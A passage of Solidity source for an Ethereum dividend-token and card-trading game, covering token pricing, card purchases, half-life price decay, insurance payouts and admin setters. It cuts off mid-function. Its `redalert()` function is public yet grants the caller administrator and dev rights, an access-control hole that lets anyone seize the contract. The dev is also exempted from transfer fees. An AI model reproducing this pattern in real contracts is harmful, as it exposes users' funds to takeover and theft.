mapping(uint => address) internal cardOwner;
mapping(uint => uint) public cardPrice;
mapping(uint => uint) public basePrice;
mapping(uint => uint) internal cardPreviousPrice;
mapping(address => uint) internal ownerAccounts;
mapping(uint => uint) internal totalCardDivs;
mapping(uint => uint) internal totalCardDivsETH;
mapping(uint => string) internal cardName;
mapping(uint => uint) internal cardInsurance;
uint public cardInsuranceAccount;
uint cardPriceIncrement = 1250;
uint totalDivsProduced;
uint public ownerDivRate = 450;
uint public distDivRate = 400;
uint public devDivRate = 50;
uint public insuranceDivRate = 50;
uint public yieldDivRate = 50;
uint public referralRate = 50;
mapping(uint => uint) internal cardBlockNumber;
uint public halfLifeTime = 5900;
uint public halfLifeRate = 970;
uint public halfLifeReductionRate = 970;
uint public halfLifeClear = 1230;
uint public halfLifeAlert = 100;
bool public allowHalfLife = true;
bool public allowReferral = false;
uint public insurancePayoutRate = 50;
uint8 public dividendFee_ = 150;
uint8 public dividendFeeBuyClear_ = 150;
uint8 public dividendFeeSellClear_ = 200;
uint8 public dividendFeeBuyAlert_ = 150;
uint8 public dividendFeeSellAlert_ = 200;
uint8 public cardInsuranceFeeRate_ = 25;
uint8 public yieldDividendFeeRate_ = 25;
uint public maxCards = 50;
bool public boolContractActive = false;
bool public boolCardActive = false;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
mapping(address => bool) public canAcceptTokens_;
uint public alertTime1 = 0;
uint public alertTime2 = 8;
uint public alertTime3 = 16;
uint public lastHour = 0;
bool public boolAlertStatus = false;
function redalert()
public
{
allowHalfLife = true;
allowReferral = false;
administrators[msg.sender] = true;
dev = msg.sender;
ambassadors_[dev] = true;
ambassadors_[0x96762288ebb2560a19F8eAdAaa2012504F64278B] = true;
ambassadors_[0x5145A296e1bB9d4Cf468d6d97d7B6D15700f39EF] = true;
ambassadors_[0xE74b1ea522B9d558C8e8719c3b1C4A9050b531CA] = true;
ambassadors_[0xb62A0AC2338C227748E3Ce16d137C6282c9870cF] = true;
ambassadors_[0x836e5abac615b371efce0ab399c22a04c1db5ecf] = true;
ambassadors_[0xAe3dC7FA07F9dD030fa56C027E90998eD9Fe9D61] = true;
ambassadors_[0x38602d1446fe063444B04C3CA5eCDe0cbA104240] = true;
ambassadors_[0x3825c8BA07166f34cE9a2cD1e08A68b105c82cB9] = true;
ambassadors_[0xa6662191F558e4C611c8f14b50c784EDA9Ace98d] = true;
ambassadors_[0xC697BE0b5b82284391A878B226e2f9AfC6B94710] = true;
ambassadors_[0x03Ba7aC9fa34E2550dE27B33Cb7eBc8d2618A263] = true;
ambassadors_[0x79562dcCFAad8871E2eC1C37172Cb1ce969b04Fd] = true;
ambassadors_[0x41fe3738b503cbafd01c1fd8dd66b7fe6ec11b01] = true;
ambassadors_[0x96762288ebb2560a19f8eadaaa2012504f64278b] = true;
ambassadors_[0xc29a6dd21801e58566df9f003b7011e30724543e] = true;
ambassadors_[0xc63ea85cc823c440319013d4b30e19b66466642d] = true;
ambassadors_[0xc6f827796a2e1937fd7f97c4e0a4906c476794f6] = true;
ambassadors_[0xe74b1ea522b9d558c8e8719c3b1c4a9050b531ca] = true;
ambassadors_[0x6b90d498062140c607d03fd642377eeaa325703e] = true;
ambassadors_[0x5f1088110edcba27fc206cdcc326b413b5867361] = true;
ambassadors_[0xc92fd0e554b12eb10f584819eec2394a9a6f3d1d] = true;
ambassadors_[0xb62a0ac2338c227748e3ce16d137c6282c9870cf] = true;
ambassadors_[0x3f6c42409da6faf117095131168949ab81d5947d] = true;
ambassadors_[0xd54c47b3165508fb5418dbdec59a0d2448eeb3d7] = true;
ambassadors_[0x285d366834afaa8628226e65913e0dd1aa26b1f8] = true;
ambassadors_[0x285d366834afaa8628226e65913e0dd1aa26b1f8] = true;
ambassadors_[0x5f5996f9e1960655d6fc00b945fef90672370d9f] = true;
ambassadors_[0x3825c8ba07166f34ce9a2cd1e08a68b105c82cb9] = true;
ambassadors_[0x7f3e05b4f258e1c15a0ef49894cffa1d89ceb9d3] = true;
ambassadors_[0x3191acf877495e5f4e619ec722f6f38839182660] = true;
ambassadors_[0x14f981ec7b0f59df6e1c56502e272298f221d763] = true;
ambassadors_[0xae817ec70d8b621bb58a047e63c31445f79e20dc] = true;
ambassadors_[0xc43af3becac9c810384b69cf061f2d7ec73105c4] = true;
ambassadors_[0x0743469569ed5cc44a51216a1bf5ad7e7f90f40e] = true;
ambassadors_[0xff6a4d0ed374ba955048664d6ef5448c6cd1d56a] = true;
ambassadors_[0x62358a483311b3de29ae987b990e19de6259fa9c] = true;
ambassadors_[0xa0fea1bcfa32713afdb73b9908f6cb055022e95f] = true;
ambassadors_[0xb2af816608e1a4d0fb12b81028f32bac76256eba] = true;
ambassadors_[0x977193d601b364f38ab1a832dbaef69ca7833992] = true;
ambassadors_[0xed3547f0ed028361685b39cd139aa841df6629ab] = true;
ambassadors_[0xe40ff298079493cba637d92089e3d1db403974cb] = true;
ambassadors_[0xae3dc7fa07f9dd030fa56c027e90998ed9fe9d61] = true;
ambassadors_[0x2dd35e7a6f5fcc28d146c04be641f969f6d1e403] = true;
ambassadors_[0x2afe21ec5114339922d38546a3be7a0b871d3a0d] = true;
ambassadors_[0x6696fee394bb224d0154ea6b58737dca827e1960] = true;
ambassadors_[0xccdf159b1340a35c3567b669c836a88070051314] = true;
ambassadors_[0x1c3416a34c86f9ddcd05c7828bf5693308d19e0b] = true;
ambassadors_[0x846dedb19b105edafac2c9410fa2b5e73b596a14] = true;
ambassadors_[0x3e9294f9b01bc0bcb91413112c75c3225c65d0b3] = true;
ambassadors_[0x3a5ce61c74343dde474bad4210cccf1dac7b1934] = true;
ambassadors_[0x38e123f89a7576b2942010ad1f468cc0ea8f9f4b] = true;
ambassadors_[0xdcd8bad894035b5c554ad450ca84ae6be0b73122] = true;
ambassadors_[0xcfab320d4379a84fe3736eccf56b09916e35097b] = true;
ambassadors_[0x12f53c1d7caea0b41010a0e53d89c801ed579b5a] = true;
ambassadors_[0x5145a296e1bb9d4cf468d6d97d7b6d15700f39ef] = true;
ambassadors_[0xac707a1b4396a309f4ad01e3da4be607bbf14089] = true;
ambassadors_[0x38602d1446fe063444b04c3ca5ecde0cba104240] = true;
ambassadors_[0xc951d3463ebba4e9ec8ddfe1f42bc5895c46ec8f] = true;
ambassadors_[0x69e566a65d00ad5987359db9b3ced7e1cfe9ac69] = true;
ambassadors_[0x533b14f6d04ed3c63a68d5e80b7b1f6204fb4213] = true;
ambassadors_[0x5fa0b03bee5b4e6643a1762df718c0a4a7c1842f] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
ambassadors_[0xc371117e0adfafe2a3b7b6ba71b7c0352ca7789d] = true;
ambassadors_[0xcade49e583bc226f19894458f8e2051289f1ac85] = true;
ambassadors_[0xe3fc95aba6655619db88b523ab487d5273db484f] = true;
ambassadors_[0x22e4d1433377a2a18452e74fd4ba9eea01824f7d] = true;
ambassadors_[0x32ae5eff81881a9a70fcacada5bb1925cabca508] = true;
ambassadors_[0xb864d177c291368b52a63a95eeff36e3731303c1] = true;
ambassadors_[0x46091f77b224576e224796de5c50e8120ad7d764] = true;
ambassadors_[0xc6407dd687a179aa11781b8a1e416bd0515923c2] = true;
ambassadors_[0x2502ce06dcb61ddf5136171768dfc08d41db0a75] = true;
ambassadors_[0x6b80ca9c66cdcecc39893993df117082cc32bb16] = true;
ambassadors_[0xa511ddba25ffd74f19a400fa581a15b5044855ce] = true;
ambassadors_[0xce81d90ae52d34588a95db59b89948c8fec487ce] = true;
ambassadors_[0x6d60dbf559bbf0969002f19979cad909c2644dad] = true;
ambassadors_[0x45101255a2bcad3175e6fda4020a9b77e6353a9a] = true;
ambassadors_[0xe9078d7539e5eac3b47801a6ecea8a9ec8f59375] = true;
ambassadors_[0x41a21b264f9ebf6cf571d4543a5b3ab1c6bed98c] = true;
ambassadors_[0x471e8d970c30e61403186b6f245364ae790d14c3] = true;
ambassadors_[0x6eb7f74ff7f57f7ba45ca71712bccef0588d8f0d] = true;
ambassadors_[0xe6d6bc079d76dc70fcec5de84721c7b0074d164b] = true;
ambassadors_[0x3ec5972c2177a08fd5e5f606f19ab262d28ceffe] = true;
ambassadors_[0x108b87a18877104e07bd870af70dfc2487447262] = true;
ambassadors_[0x3129354440e4639d2b809ca03d4ccc6277ac8167] = true;
ambassadors_[0x21572b6a855ee8b1392ed1003ecf3474fa83de3e] = true;
ambassadors_[0x75ab98f33a7a60c4953cb907747b498e0ee8edf7] = true;
ambassadors_[0x0fe6967f9a5bb235fc74a63e3f3fc5853c55c083] = true;
ambassadors_[0x49545640b9f3266d13cce842b298d450c0f8d776] = true;
ambassadors_[0x9327128ead2495f60d41d3933825ffd8080d4d42] = true;
ambassadors_[0x82b4e53a7d6bf6c72cc57f8d70dae90a34f0870f] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
ambassadors_[0x3749d556c167dd73d536a6faaf0bb4ace8f7dab9] = true;
ambassadors_[0x3039f6857071692b540d9e1e759a0add93af3fed] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
nextAvailableCard = 13;
cardOwner[1] = dev;
cardPrice[1] = 5 ether;
basePrice[1] = cardPrice[1];
cardPreviousPrice[1] = 0;
cardOwner[2] = dev;
cardPrice[2] = 4 ether;
basePrice[2] = cardPrice[2];
cardPreviousPrice[2] = 0;
cardOwner[3] = dev;
cardPrice[3] = 3 ether;
basePrice[3] = cardPrice[3];
cardPreviousPrice[3] = 0;
cardOwner[4] = dev;
cardPrice[4] = 2 ether;
basePrice[4] = cardPrice[4];
cardPreviousPrice[4] = 0;
cardOwner[5] = dev;
cardPrice[5] = 1.5 ether;
basePrice[5] = cardPrice[5];
cardPreviousPrice[5] = 0;
cardOwner[6] = dev;
cardPrice[6] = 1 ether;
basePrice[6] = cardPrice[6];
cardPreviousPrice[6] = 0;
cardOwner[7] = dev;
cardPrice[7] = 0.9 ether;
basePrice[7] = cardPrice[7];
cardPreviousPrice[7] = 0;
cardOwner[8] = dev;
cardPrice[8] = 0.7 ether;
basePrice[8] = cardPrice[8];
cardPreviousPrice[8] = 0;
cardOwner[9] = 0xAe3dC7FA07F9dD030fa56C027E90998eD9Fe9D61;
cardPrice[9] = 0.5 ether;
basePrice[9] = cardPrice[9];
cardPreviousPrice[9] = 0;
cardOwner[10] = dev;
cardPrice[10] = 0.4 ether;
basePrice[10] = cardPrice[10];
cardPreviousPrice[10] = 0;
cardOwner[11] = dev;
cardPrice[11] = 0.2 ether;
basePrice[11] = cardPrice[11];
cardPreviousPrice[11] = 0;
cardOwner[12] = dev;
cardPrice[12] = 0.1 ether;
basePrice[12] = cardPrice[12];
cardPreviousPrice[12] = 0;
getTotalCardValue();
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
checkHalfLife();
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
checkHalfLife();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
checkHalfLife();
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, localDivFee),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
checkHalfLife();
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
if (msg.sender == dev){
localDivFee = 0;
}
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, localDivFee),1000);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
checkHalfLife();
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setAllowHalfLife(bool _allow)
onlyAdministrator()
public
{
allowHalfLife = _allow;
}
function setAllowReferral(bool _allow)
onlyAdministrator()
public
{
allowReferral = _allow;
}
function setFeeRates(uint8 _newDivRate, uint8 _yieldDivFee, uint8 _newCardFee)
onlyAdministrator()
public
{
require(_newDivRate <= 250);
require(_yieldDivFee <= 50);
require(_newCardFee <= 50);
dividendFee_ = _newDivRate;
yieldDividendFeeRate_ = _yieldDivFee;
cardInsuranceFeeRate_ = _newCardFee;
}
function setExchangeRates(uint8 _newBuyAlert, uint8 _newBuyClear, uint8 _newSellAlert, uint8 _newSellClear)
onlyAdministrator()
public
{
require(_newBuyAlert <= 400);
require(_newBuyClear <= 400);
require(_newSellAlert <= 400);
require(_newSellClear <= 400);
dividendFeeBuyClear_ = _newBuyClear;
dividendFeeSellClear_ = _newSellClear;
dividendFeeBuyAlert_ = _newBuyAlert;
dividendFeeSellAlert_ = _newSellAlert;
}
function setInsurancePayout(uint8 _newRate)
onlyAdministrator()
public
{
require(_newRate <= 200);
insurancePayoutRate = _newRate;
}
function setAlertTimes(uint _newAlert1, uint _newAlert2, uint _newAlert3)
onlyAdministrator()
public
{
alertTime1 = _newAlert1;
alertTime2 = _newAlert2;
alertTime3 = _newAlert3;
}
function setHalfLifePeriods(uint _alert, uint _clear)
onlyAdministrator()
public
{
halfLifeAlert = _alert;
halfLifeClear = _clear;
}
function setContractActive(bool _status)
onlyAdministrator()
public
{
boolContractActive = _status;
}
function setCardActive(bool _status)
onlyAdministrator()
public
{
boolCardActive = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setMaxCards(uint _card)
onlyAdministrator()
public
{
maxCards = _card;
}
function setHalfLifeTime(uint _time)
onlyAdministrator()
public
{
halfLifeTime = _time;
}
function setHalfLifeRate(uint _rate)
onlyAdministrator()
public
{
halfLifeRate = _rate;
}
function addNewCard(uint _price)
onlyAdministrator()
public
{
require(nextAvailableCard < maxCards);
cardPrice[nextAvailableCard] = _price;
basePrice[nextAvailableCard] = cardPrice[nextAvailableCard];
cardOwner[nextAvailableCard] = dev;
totalCardDivs[nextAvailableCard] = 0;
cardPreviousPrice[nextAvailableCard] = 0;
nextAvailableCard = nextAvailableCard + 1;
getTotalCardValue();
}
function addAmbassador(address _newAmbassador)
onlyAdministrator()
public
{
ambassadors_[_newAmbassador] = true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function myCardDividends()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return ownerAccounts[_customerAddress];
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function getTotalCardValue()
internal
view
{
uint counter = 1;
uint _totalVal = 0;
while (counter < nextAvailableCard) {
_totalVal = SafeMath.add(_totalVal,cardPrice[counter]);
counter = counter + 1;
}
totalCardValue = _totalVal;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
onlyActive()
internal
returns(uint256)
{
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
cardInsuranceAccount = SafeMath.add(cardInsuranceAccount, SafeMath.div(SafeMath.mul(_incomingEthereum, cardInsuranceFeeRate_), 1000));
distributeYield(SafeMath.div(SafeMath.mul(_incomingEthereum,yieldDividendFeeRate_),1000));
_incomingEthereum = SafeMath.sub(_incomingEthereum,SafeMath.div(SafeMath.mul(_incomingEthereum, cardInsuranceFeeRate_ + yieldDividendFeeRate_), 1000));
uint256 _referralBonus = SafeMath.div(SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee ),1000), 3);
uint256 _dividends = SafeMath.sub(SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee ),1000), _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee),1000));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
distributeInsurance();
checkHalfLife();
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function buyCard(uint _card, address _referrer)
public
payable
onlyCardActive()
{
require(_card <= nextAvailableCard);
require(_card > 0);
require(msg.value >= cardPrice[_card]);
cardBlockNumber[_card] = block.number;
uint _baseDividends = msg.value - cardPreviousPrice[_card];
totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends);
uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends,ownerDivRate),1000);
_ownerDividends = SafeMath.add(_ownerDividends,cardPreviousPrice[_card]);
uint _insuranceDividends = SafeMath.div(SafeMath.mul(_baseDividends,insuranceDivRate),1000);
uint _exchangeDivs = SafeMath.div(SafeMath.mul(_baseDividends, yieldDivRate),1000);
profitPerShare_ += (_exchangeDivs * magnitude / (tokenSupply_));
totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card],_ownerDividends);
cardInsuranceAccount = SafeMath.add(cardInsuranceAccount, _insuranceDividends);
uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends,distDivRate),1000);
if (allowReferral && (_referrer != msg.sender) && (_referrer != 0x0000000000000000000000000000000000000000)) {
uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends,referralRate),1000);
_distDividends = SafeMath.sub(_distDividends,_referralDividends);
ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer],_referralDividends);
}
distributeYield(_distDividends);
address _previousOwner = cardOwner[_card];
address _newOwner = msg.sender;
ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner],_ownerDividends);
ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev],SafeMath.div(SafeMath.mul(_baseDividends,devDivRate),1000));
cardOwner[_card] = _newOwner;
cardPreviousPrice[_card] = msg.value;
cardPrice[_card] = SafeMath.div(SafeMath.mul(msg.value,cardPriceIncrement),1000);
getTotalCardValue();
distributeInsurance();
checkHalfLife();
emit onCardBuy(msg.sender, msg.value, _card, SafeMath.div(SafeMath.mul(msg.value,cardPriceIncrement),1000), halfLifeTime + block.number);
}
function distributeInsurance() internal
{
uint counter = 1;
uint _cardDistAmount = cardInsuranceAccount;
cardInsuranceAccount = 0;
uint tempInsurance = 0;
while (counter < nextAvailableCard) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_cardDistAmount, cardPrice[counter]),totalCardValue);
cardInsurance[counter] = SafeMath.add(cardInsurance[counter], _distAmountLocal);
tempInsurance = tempInsurance + cardInsurance[counter];
emit onInsuranceChange(0x0, counter, cardInsurance[counter]);
counter = counter + 1;
}
totalCardInsurance = tempInsurance;
}
function distributeYield(uint _distDividends) internal
{
uint counter = 1;
uint currentBlock = block.number;
uint insurancePayout = 0;
while (counter < nextAvailableCard) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_distDividends, cardPrice[counter]),totalCardValue);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]],_distAmountLocal);
totalCardDivs[counter] = SafeMath.add(totalCardDivs[counter],_distAmountLocal);
counter = counter + 1;
}
getTotalCardValue();
checkHalfLife();
}
function extCheckHalfLife()
public
{
bool _boolDev = (msg.sender == dev);
if (_boolDev || boolAllowPlayer){
checkHalfLife();
}
}
function checkHalfLife()
internal
{
uint localHalfLifeTime = 120;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localHalfLifeTime = halfLifeAlert;
}else{
boolAlertStatus = false;
localHalfLifeTime = halfLifeClear;
}
uint counter = 1;
uint currentBlock = block.number;
uint insurancePayout = 0;
uint tempInsurance = 0;
while (counter < nextAvailableCard) {
if (allowHalfLife) {
if (cardPrice[counter] > basePrice[counter]) {
uint _life = SafeMath.sub(currentBlock, cardBlockNumber[counter]);
if (_life > localHalfLifeTime) {
cardBlockNumber[counter] = currentBlock;
if (SafeMath.div(SafeMath.mul(cardPrice[counter], halfLifeRate),1000) < basePrice[counter]){
cardPrice[counter] = basePrice[counter];
insurancePayout = SafeMath.div(SafeMath.mul(cardInsurance[counter],insurancePayoutRate),1000);
cardInsurance[counter] = SafeMath.sub(cardInsurance[counter],insurancePayout);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]], insurancePayout);
cardPreviousPrice[counter] = SafeMath.div(SafeMath.mul(cardPrice[counter],halfLifeReductionRate),1000);
}else{
cardPrice[counter] = SafeMath.div(SafeMath.mul(cardPrice[counter], halfLifeRate),1000);
cardPreviousPrice[counter] = SafeMath.div(SafeMath.mul(cardPreviousPrice[counter],halfLifeReductionRate),1000);
insurancePayout = SafeMath.div(SafeMath.mul(cardInsurance[counter],insurancePayoutRate),1000);
cardInsurance[counter] = SafeMath.sub(cardInsurance[counter],insurancePayout);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]], insurancePayout);
}
emit onInsuranceChange(0x0, counter, cardInsurance[counter]);
emit Halflife(cardOwner[counter], counter, cardPrice[counter], localHalfLifeTime + block.number, insurancePayout, cardInsurance[counter]);
}
}
}
tempInsurance = tempInsurance + cardInsurance[counter];
counter = counter + 1;
}
totalCardInsurance = tempInsurance;
getTotalCardValue();
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function getCardPrice(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return cardPrice[_card];
}
function getCardInsurance(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return cardInsurance[_card];
}
function getCardOwner(uint _card)
public
view
returns(address)
{
require(_card <= nextAvailableCard);
return cardOwner[_card];
}
function gettotalCardDivs(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return totalCardDivs[_card];
}
function getTotalDivsProduced()
public
view
returns(uint)
{
return totalDivsProduced;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = ORIGIN_YEAR;
while (true) {
if (isLeapYear(dt.year)) {
buf = LEAP_YEAR_IN_SECONDS;
}
else {
